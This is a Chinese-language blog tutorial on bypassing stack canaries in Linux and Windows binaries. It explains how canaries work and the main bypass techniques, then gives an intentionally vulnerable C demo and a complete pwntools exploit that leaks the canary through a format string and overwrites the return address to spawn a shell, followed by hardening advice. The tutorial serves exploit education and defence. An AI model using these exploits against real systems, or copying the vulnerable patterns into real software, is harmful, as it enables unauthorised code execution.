1. 为什么安全研究者都在研究怎么“绕 canary”
1.1 一场授权渗透演练带出来的问题
前一阵做某次授权边界设备评估的时候,我在目标二进制里同时找到了格式化字符串和栈溢出。看到溢出点那一刻心里其实没多少波动,因为按老思路,栈溢出直接盖返回地址就能拿控制流。真正让我停下来的是编译选项里那行-fstack-protector。
也就是说,这个目标开了栈金丝雀(Stack Canary)保护。直接盖返回地址是行不通的,函数尾言会把栈上的 canary 和一个随机数比对,哪怕只差一个字节,程序都直接调用__stack_chk_fail自杀。于是那天的任务从“写个溢出 payload”变成了“先想办法绕过 canary 保护”。整个绕过过程走下来,我意识到这不是一个孤立的技巧,而是一套可以被复用的思路链。这篇博文就是想把这套东西完整写下来。
1.2 Canary 是什么,先给一句话结论
Canary 是一种防御栈缓冲区溢出的机制。它在被保护函数的栈帧里,插入一个随机值,放在局部变量和返回地址之间;函数返回之前,检查这个值有没有被改写。一旦发现异常,就说明可能有人试图破坏返回地址,程序直接终止。用一句话形容:它是一条“引爆线”,攻击者只要碰到它,炸弹先响,攻击也就失败了。
但“会引爆”不意味着“不能绕”。真实的绕过手法非常成熟:信息泄漏、逐字节爆破、覆盖校验失败的处理函数、寻找没有插 canary 的旁路函数,甚至利用 canary 机制本身的副作用做信息泄漏。这些不是黑魔法,而是建立在“安全机制有边界”这个基础上的工程问题。
1.3 哪些人适合看这篇文章
如果你是做漏洞分析、红队评估的,这篇文章给你一套绕过 canary 的决策框架和实操模板;如果你是打 CTF 的,文中演示的“格式化字符串泄漏 canary + 栈溢出拿 shell”是最高频的考点之一;如果你是在做防御的安全工程师,同样值得读——只有亲手走一遍攻击链,你才知道该在哪一层把漏洞堵死。我尽量把原理讲透,同时把能复现的步骤、参数和避坑记录都放在后面。
2. 栈金丝雀的工作机理:先搞懂它怎么防
这一章不直接讲“怎么绕”,而是先把 canary 这个机制掰开揉碎。不少朋友上来就找 payload,结果连 canary 为什么会出现在栈上的某个位置都没搞清楚,遇到一点偏移变化就卡死。理解机理之后,很多问题其实能自己推出来。
2.1 Linux 和 Windows 的两套实现差异
提到 canary,很多人默认是 Linux 下的 GCC 栈保护。实际上 Windows 平台上也有对应的机制,通常叫 GS protection(基于__security_cookie)。两套实现的细节差异很大,绕过手法也因此不同。
| 维度 | Linux(GCC / glibc) | Windows(MSVC / GS) |
|---|---|---|
| 随机值来源 | 进程启动时从系统熵源生成,存在 TLS 中,x86-64 下通过fs:0x28访问 | 全局变量__security_cookie,位于 .data 段,进程启动时初始化 |
| 存放方式 | 原样放在局部变量与保存的 rbp 之间 | 存放时会与返回地址做异或,相当于“加密”后再放栈上 |
| 检测方式 | 返回前把栈上的 canary 与 TLS 里的随机值比对 | 先异或还原,再与__security_cookie比对 |
| 失败处理 | 调用__stack_chk_fail,打印 stack smashing 并 abort | 调用__report_gsfailure,触发异常处理流程 |
| 绕过关注点 | 关注 TLS 中随机值的泄漏、校验函数 GOT 表是否可写 | 关注 cookie 是否可预测、能否覆盖 SEH、能否绕过报错路径 |
同样是“随机值 + 返回前校验”,但实现差异决定了绕过时关注的点完全不同。Windows 的 GS 因为 cookie 和返回地址做了异或,即使你读到了栈上的 cookie 密文,还得找到算法还原回去,难度比 Linux 高不少。这篇文章后续的演示主要基于 Linux 环境,这是目前 CTF 和红队评估中最常见的场景。
2.2 Canary 放在哪、怎么校验、触发后会怎样
以 x86-64 Linux 下 GCC 自动插入 canary 的函数为例,栈帧布局大致是这样:
高地址 +----------------------+ | 返回地址 (ret addr) | +----------------------+ | 保存的 rbp | +----------------------+ | canary (8字节) | +----------------------+ | 局部缓冲区/局部变量 | +----------------------+ 低地址在函数序言里,编译器会插入类似这样的指令:先取出 TLS 中的随机值,放到栈上的 canary 槽位;在函数尾言里,再做一次异或比较,如果结果不是 0,就跳转到__stack_chk_fail。
mov rax, QWORD PTR fs:0x28 mov QWORD PTR [rbp-0x8], rax ... xor rax, QWORD PTR [rbp-0x8] jne __stack_chk_fail需要注意一个细节:glibc 生成这个随机值时,会把低字节强制设置成 0x00。这个设计是为了让 canary 在某些字符串拷贝场景中天然充当“截断符”。比如strcpy往栈上复制一段字符串时,遇到 canary 低字节的\0就会停下,避免把 canary 也覆盖掉。这个特性也是后面做信息泄漏定位时最常用的标记——一个以 0x00 结尾的栈上数值,往往就是 canary。
一旦检测失败,glibc 默认会打印*** stack smashing detected ***: <program> terminated然后调用 abort 终止进程。对攻击者来说,这个打印行为有时候反而会被利用成信息泄漏渠道,这在后面第 3 章会详说。
2.3 编译器什么时候才插入 Canary
直接说结论:并不是所有函数都会被插 canary。GCC 的栈保护选项是一套启发式规则:
-fstack-protector:只为“包含易受攻击对象(比如局部 char 数组)”的函数插 canary;-fstack-protector-strong:覆盖范围更广,只要函数内有局部数组、或对局部变量取地址、或使用了 frame pointer 等,都会被保护;-fstack-protector-all:所有函数都插。
很多实际编译的二进制用的是默认启发式配置。如果你反编译一个目标,经常能看到“有些函数有 canary 检查,有些没有”。比如函数内部只做简单计算、没有缓冲区,编译器就不会浪费这几条指令。攻击者最喜欢的就是这种“漏保护”的函数——如果溢出恰好发生在某个没有插 canary 的函数里,那 canary 从一开始就不存在,你的溢出直接畅通无阻。
所以,当你看到一个程序开了 canary,第一反应不要默认“所有栈溢出都被挡住了”。先反编译,看看溢出函数本身有没有真正被插入 canary 检查。我见过不少目标,全局开启了栈保护,但关键的那几个函数偏偏没被启发式规则覆盖到。
2.4 关于 canary 的几个常见误解
第一,“开了 canary 就等于安全”。实际上 canary 只保护返回地址和控制流完整性,它不保护栈上的函数指针、局部对象、堆对象。攻击面永远比单一防御机制宽。
第二,“canary 在栈上的位置是固定的”。编译器优化、栈帧大小、缓冲区和 canary 之间的填充都可能变。你找到一个偏移,换个编译参数就失效了,必须在目标上动态确认。
第三,“canary 就是栈上一个神秘数值”。它本质上是 TLS 里的进程级随机值,每个进程启动时生成;但同一进程内多次调用函数,插到栈上的值是一样的。这个特性是“泄漏一次,到处填充”的核心依据。
第四,“Windows 的 GS 和 Linux canary 一回事”。实际上就像前面表格写的,Windows 还多了一步与返回地址异或,绕过思路完全不同。
3. 绕过 Canary 的主流思路拆解
理解了它怎么防,接下来就是正题:怎么绕。我根据实际场景把绕过思路分成四条主线,分别对应不同的漏洞条件。大多数目标只要满足其中一条,canary 这道防线就能被拆掉。
3.1 思路一:信息泄漏拿 canary,最可靠的路线
这是最常见、也最优雅的方式。既然 canary 终归是进程里的一个随机值,那只要能让程序“主动”把这个值打印出来,问题就解决了。典型的泄漏来源包括:
- 格式化字符串漏洞:
printf(buf)里面如果出现%p、%x、%s,攻击者可以按偏移遍历栈上的数据。Canary 就躺在栈上某个位置,只要确定偏移,就能原样读出来。 - 越界读:数组索引没有边界检查,从缓冲区向外读几个字节,canary 可能就在越界范围内。
- 信息量回显型的溢出:比如服务把用户输入夹在输出里原样返回,而长度计算没处理好,可以多回显一点数据。
拿到 canary 之后,溢出 payload 就好构造了:先在局部缓冲区填满,下一步写入正确的 canary,再写保存的 rbp 和返回地址,函数返回前的检查照样能通过。等于你已经知道保险柜密码,输进去自然不触发警报。
定位 canary 的技巧我这里先给一个:在格式化字符串返回的各个栈值里,找一个以 0x00 结尾的 7 字节随机数(也就是整数值末尾两位是 00)。这是 canary 的典型特征。当然,栈上也可能有其他以 00 结尾的值,所以更稳妥的方法是扫两遍:同一个偏移在两次进程运行中如果值相同(同一个进程内),或者能稳定复现,大概率就是 canary。
3.2 思路二:fork 型服务上的逐字节爆破
有些场景下目标没有明显的泄漏点,但程序本身是“可以反复崩溃”的。典型结构是主进程fork()出子进程处理网络请求,每个子进程崩溃不影响主进程继续 fork 下一个。因为 fork 的子进程会继承父进程的 TLS 状态,所以 canary 对每一次新连接来说都是一样的。这就给了爆破空间。
Canary 的低字节固定是 0x00,所以实际需要猜测的高位只有 7 个字节。但逐位硬猜不现实,爆破通常从低字节开始,一次只猜一个字节:你发送一个溢出 payload,伪造返回地址并故意碰坏 canary 某一位,如果子进程崩溃,说明猜错了;如果子进程没有崩溃、继续正常返回并接收下一个输入,说明这一位猜对了。一个字节最多 256 种可能,四个字节最多 1024 次尝试,对 fork 型服务来说完全可接受。通常 32 位程序爆破整个 canary 是常规操作;64 位程序由于未知位太多,只爆破低 4 到 5 个字节,配合“地址部分覆盖”技术也能奏效。
这个思路的关键前提是服务必须能“重生”连接。遇到单进程、崩溃即退出的服务,爆破就不现实了——猜一次程序就没了。所以看到 canary 先别急着写循环,要判断程序架构是不是 fork 型。这里也提醒一下,很多 CTF 里 pwn 类题目偏爱 fork 型服务,就是这个原因。
3.3 思路三:绕过校验点,而不是绕过校验值
还有一类思路,从根上就不是“拿 canary”,而是想办法让校验环节不发生,或者让校验跳到一个对攻击者有利的地方。
第一个办法:覆盖__stack_chk_fail的 GOT 表项。如果程序是 Partial RELRO,GOT 表可写,攻击者把__stack_chk_fail的入口改成指向system或其他 gadget。这时即使你故意破坏 canary,函数进入错误处理路径后,执行的却是你的代码。严格来说这不算绕过校验,而是“劫持失败处理过程”。
第二个办法:找没有插入 canary 的函数做跳板。前面提到编译器只保护特定函数,如果你溢出的函数本身没被保护,那么 canary 这个概念在这里就不存在,直接覆盖返回地址即可。
第三个办法:溢出覆盖非返回地址的对象。Canary 保护的本质是保护返回地址和其他被编译器默认保护的栈帧结构,但它不保护栈上的函数指针、局部对象、C++ 对象的 vptr。如果溢出能覆盖到这些对象,让程序在返回之前就通过它们跳走,根本轮不到 canary 校验那一刻。
3.4 思路四:利用保护机制自身的副作用做信息泄漏
有些场景更好玩,canary 机制本身会变成泄漏渠道。glibc 的__stack_chk_fail在打印错误信息时,会把程序名(也就是argv[0])也打出来:
*** stack smashing detected ***: /path/to/program terminated问题来了:argv[0]本身也是放在栈上的。如果攻击者能通过别的溢出,把栈上存放的argv[0]指针改成指向某个内存地址,那么触发 canary 失败时,程序就会打印那个地址处的字符串。这等于一个“任意地址读取”能力。历史上有多起真实漏洞就是通过这个方式完成信息泄漏的,后来部分新版本对这里做了调整,但很多老设备、嵌入式固件里依然存在。这个思路提醒我们:安全的“副作用”本身也是攻击面。
3.5 一条路走不通时怎么切换思路
实际评估里,很少能一眼确定用哪条路。我一般按下面这个顺序做判断:
- 目标能否反复崩溃并重生?能 → 考虑爆破。
- 目标是否存在格式化字符串或越界读?能 → 优先信息泄漏,直接拿 canary。
- 目标 RELRO 是否完整?Partial / No RELRO → 考虑覆盖
__stack_chk_fail的 GOT。 - 溢出函数是否真的被编译器具名保护?没保护 → 直接用常规栈溢出。
- 栈上是否还放着其他可被覆盖的控制结构?有 → 绕过校验点,不碰 canary。
大部分情况下,信息泄漏是优先级最高的方案,因为成功率最高、副作用最小。爆破次之,但条件苛刻。另外两条线更像是“从侧面拆墙”,往往需要在反编译时发现特殊结构才能用。
4. 实操:本地靶机上完整绕过一轮
下面用一个我在本地搭的模拟靶机做完整演示。先说明,这个程序完全运行在本地虚拟机里,是为了把方法讲清楚做的教学样例,所有操作仅限授权测试环境。我特意把 PIE 关闭,把注意力集中在 canary 本身;真实环境中 PIE 开着也不可怕,只是多一步地址泄漏,后面第 5 章会讲。
4.1 靶机结构与编译
靶机代码故意设计成两个漏洞点:一个格式化字符串,一个栈溢出。两个漏洞分别放在不同函数里,主循环先调用泄漏函数,再调用溢出函数,方便分步操作。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void shell() { system("/bin/sh"); } void leak() { char buf[128]; fgets(buf, 128, stdin); printf(buf); printf("\n"); } void vuln() { char buf[64]; fgets(buf, 200, stdin); printf("input done.\n"); } int main() { setbuf(stdout, NULL); puts("[demo] canary bypass demo"); leak(); vuln(); return 0; }编译命令用-fstack-protector,同时为了演示方便关掉 PIE:
gcc -fstack-protector -no-pie -o demo demo.c编译完可以用checksec或者readelf看一眼,确认 canary 是否真的插入了:
readelf -s demo | grep __stack_chk_fail能看到__stack_chk_fail的未定义符号,说明链接了栈保护逻辑。再反编译leak和vuln这两个函数,能看到fs:0x28的读取与检查,就说明两个函数都被加了 canary。
4.2 第一步 定位两个漏洞
第一个漏洞在leak():
fgets(buf, 128, stdin); printf(buf);用户输入被直接当成格式化字符串打印。虽然buf最大 128 字节,不会溢出,但格式化字符串漏洞已经存在。
第二个漏洞在vuln():
char buf[64]; fgets(buf, 200, stdin);fgets允许读入 200 字节,但buf只有 64 字节,直接造成栈溢出。由于这个函数有 canary 保护,所以一般栈溢出 payload 在这里会被挡住,必须先通过leak()把 canary 偷出来。
整个利用链就是这样:先用leak()泄漏 canary,再让主流程继续走到vuln(),构造包含正确 canary 的溢出 payload,覆盖返回地址到shell(),最终拿到 shell。
4.3 第二步 用格式化字符串泄漏 canary
先用简单的%p序列观察栈布局。我习惯发送一串带编号的格式串:
%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p程序会从第一个参数开始依次打印栈上的值。canary 通常出现在缓冲区之后不远的位置。判断标准是找一个以0x00结尾的 8 字节值,也就是打印出来末尾是00的数字。
在本靶机上,通过调试确认 canary 对应的偏移是%11$p。注意,这个偏移跟编译器版本、优化选项、栈帧布局都有关系,不要直接照搬,一定要在自己环境里重新确认。
确认偏移后,用下面的 Python 脚本来泄漏 canary:
from pwn import * context.log_level = 'error' p = process('./demo') p.recvuntil(b'[demo] canary bypass demo\n') p.sendline(b'%11$p') leak = p.recvline().strip() canary = int(leak, 16) log.success('canary = %#x', canary)运行后,输出类似:
[+] canary = 0x78af1000ab120c00注意末尾是0c00,低位是 0x00,这就是 canary 的典型特征。拿到这个值后,vuln()函数栈上的 canary 你可以原样填入,因为同一个进程里 canary 是同一个随机值。
4.4 第三步 拼装溢出 payload,劫持控制流
现在走到vuln()。栈布局是:
buf[64] + canary + saved rbp + return address所以溢出 payload 的组织方式如下:
- 前 64 字节:填充
buf; - 接着 8 字节:填入泄漏到的 canary,让返回前的校验通过;
- 再 8 字节:覆盖保存的 rbp,这里可以是任意占位值,比如
B* 8; - 最后 8 字节:覆盖返回地址为
shell()的地址。
由于编译时用了-no-pie,程序基址是固定的,直接用 ELF 解析出shell()的地址即可:
from pwn import * context.log_level = 'error' elf = ELF('./demo') p = process('./demo') # 第一步:泄漏 canary p.recvuntil(b'[demo] canary bypass demo\n') p.sendline(b'%11$p') canary = int(p.recvline().strip(), 16) log.success('canary = %#x', canary) # 第二步:构造并发送溢出 payload payload = b'A' * 64 payload += p64(canary) payload += b'B' * 8 payload += p64(elf.sym['shell']) p.sendline(payload) p.interactive()正常执行到最后,会拿到一个交互 shell。整个过程的核心逻辑一句话:canary 的值被“借”出来之后,它在栈上跟普通数据没有区别,你只要把它原样放回去,校验自然通过。
4.5 防守视角:同样一份代码,该怎么堵
绕得爽了,也别忘了换个身份看看怎么防守。如果这份代码交给一个安全工程师去加固,至少会做这几件事:
- 把
printf(buf)改成printf("%s", buf),格式化字符串漏洞直接消失; - 把
fgets(buf, 200, stdin)改成fgets(buf, sizeof(buf), stdin),栈溢出直接消失; - 编译时加
-fstack-protector-all -pie -z now -z relro,让 canary 覆盖全部函数,同时升级为 Full RELRO 和 PIE,攻击者即使拿到 canary 也还要解决基址问题,覆盖 GOT 的旁路也被切断。
你会发现,单靠栈 canary 并不能解决所有问题,它只是把攻击成本抬高了一截。真正有效的还是“漏洞不存在”或者“多层防御叠加”。
5. 常见问题与实战避坑
这一章我把实战中反复踩过的坑和学员、同行问得最多的问题集中整理出来,直接当作速查表用。
5.1 Canary 和 PIE 一起开怎么办
这是真实场景里最普遍的情况,也是很多人卡住的地方。其实思路没有本质变化:格式化字符串不仅能泄漏 canary,也能泄漏程序基址。栈上通常会残留返回地址,比如__libc_start_main+240或者程序自身的main+offset。前者可以用来算 libc 基址,后者可以用来算程序基址。操作流程大致是:
- 用格式化字符串一次性泄漏 canary 和一个栈上返回地址;
- 根据已知偏移,反推程序基址或 libc 基址;
- 再在溢出点构造 ROP 链,跳到
system("/bin/sh")或one_gadget。
所以 PIE 只是多一个“泄漏地址并计算基址”的步骤,并不改变整个框架。
5.2 爆破 canary 的实践细节
- 必须确认 is fork 型服务,且每个子进程继承父进程的 canary;
- 从低字节往高字节逐位爆破,低字节为 0 不需要试,所以第一位从第二字节开始;
- 判断“猜对”的标志是程序没有崩溃,继续正常执行后续流程(比如回显一段文字);
- 对 64 位程序,爆破全部 7 个随机字节网络开销太大,通常只爆破低位 4~5 字节,然后配合地址部分覆盖技巧使用;
- 注意加超时和重连逻辑,网络环境不好时误判率会飙升。
5.3 泄漏 canary 时最容易误判的几个点
- Canary 不是栈上唯一的 0x00 结尾数值。局部变量的高位也可能碰巧是 0,要多次运行确认其稳定性,或者用“同进程重复触发泄漏函数两次、两次结果一致”的方法验证。
- 打印出来的十六进制是内存字节序的“数字形态”,不要直接把它当字符串拼进 payload,必须用
p64()转成字节。 - 不要在第一次泄漏完就立刻发溢出 payload。要确认程序流程已经走到溢出函数,有的靶机两个函数之间还有别的输入消耗逻辑,漏发一次就错位。
- 远程环境里 fork 模型和连接模型会影响 canary 是否恒定,测试前先摸清服务是“每连接 fork 新进程”还是“连接内处理多请求”。
5.4 工具链怎么选
我用得最多的还是 pwntools,它自带checksec、cyclic、fmt_payload,覆盖了检测、偏移计算、格式化字符串自动构造这些高频需求。ROPgadget 和 ropper 用来找 gadget,各有偏好,本质上干同一件事。调试时建议用带插件体系的调试器,直接在反汇编视图里观察fs:0x28的指令,能极大缩短确认 canary 偏移的时间。
不过工具只是加速理解的手段,真正值钱的是“你知道当前在栈的哪一层”。光会跑脚本,遇到编译器版本不同、栈布局变化,就可能翻车。我个人的习惯是:先用工具跑通,再手动反编译对照一遍关键偏移,确保每一步都有据可依。
最后再分享一点个人体会
做了这么多年漏洞分析,我最大的感受是:canary 这类防护的真正价值不是“让漏洞无法利用”,而是“让利用成本大幅上升”。在真实攻防里,攻击者如果遇到一个开了全量防护的目标,大概率会优先找别的路径,比如一个没保护的函数、一个信息泄漏点,甚至一个业务逻辑漏洞。所以防守方真正要做的,不是迷信某一种保护,而是把“漏洞少暴露 + 单点防护全面 + 失败可感知”这件事同时做到位。
如果你没亲手在本地搭过 canary 绕过靶机,强烈建议把第 4 章的代码跑一遍。踩过几次坑之后再回头看各家的漏洞报告,你会对“为什么有些栈溢出要连发两次 payload”“为什么有的利用链要先泄漏再覆盖”这些问题有完全不同的体感。建立这种体感,比背十份模板都有用。